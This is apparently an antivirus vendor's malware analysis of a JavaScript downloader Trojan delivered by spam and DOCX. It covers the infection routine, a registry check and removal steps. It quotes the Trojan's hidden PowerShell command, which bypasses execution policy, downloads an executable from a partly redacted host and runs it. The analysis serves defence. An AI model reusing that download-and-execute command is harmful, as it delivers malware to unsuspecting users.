Analysis by: John Anthony Banes

ALIASES:

JS.Downloader (Norton); JS/DwnLdr-SYX (Sophos Lite); TrojanDownloader:JS/Swabfex.P (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet, Spammed via email

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 2,902 bytes
File Type: JS
Memory Resident: No
Initial Samples Received Date: 18 May 2017
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan accesses the following websites to download files:

  • http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk

It saves the files it downloads using the following names:

  • %User Profile%\AppData\RoamingSoe36.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It queries the following registry entry and uses the 12th character of its data for its routine. It will not proceed with its intended routine if the character is not "F".
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
  • It executes the following command for its download routine:
    "%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk','%AppdAta%Soe36.exe '); staRt-process '%ApPdAtA%Soe36.exe';

NOTES:

This malware arrives through a DOCX file. It is embedded and will execute its routine upon activation by the user:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.414.05
FIRST VSAPI PATTERN DATE: 18 May 2017
VSAPI OPR PATTERN File: 13.415.00
VSAPI OPR PATTERN Date: 19 May 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Profile%\AppData\RoamingSoe36.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as JS_DLOADR.YYSSS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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